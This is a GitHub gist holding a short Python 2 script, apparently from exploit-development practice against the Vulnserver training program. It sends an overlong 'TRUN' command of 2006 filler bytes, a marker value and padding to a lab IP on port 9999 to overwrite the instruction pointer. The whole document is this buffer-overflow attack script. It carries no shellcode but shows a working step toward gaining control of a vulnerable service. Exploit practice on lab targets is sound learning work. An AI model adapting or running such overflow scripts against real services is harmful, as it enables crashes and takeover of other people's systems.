Skip to content

Instantly share code, notes, and snippets.

@whichbuffer
Created January 3, 2021 11:57
Show Gist options
  • Save whichbuffer/d865483ff4731416592be5d6fc229401 to your computer and use it in GitHub Desktop.
Save whichbuffer/d865483ff4731416592be5d6fc229401 to your computer and use it in GitHub Desktop.
vs-eip2
#!/usr/bin/python
import socket
server = '192.168.119.129'
sport = 9999
prefix = 'A' * 2006
eip = 'BCDE'
padding = 'F' * (3000 - 2006 - 4)
attack = prefix + eip + padding
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
connect = s.connect((server, sport))
print s.recv(1024)
print "Sending attack to TRUN . with length ", len(attack)
s.send(('TRUN .' + attack + '\r\n'))
print s.recv(1024)
s.send('EXIT\r\n')
print s.recv(1024)
s.close()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment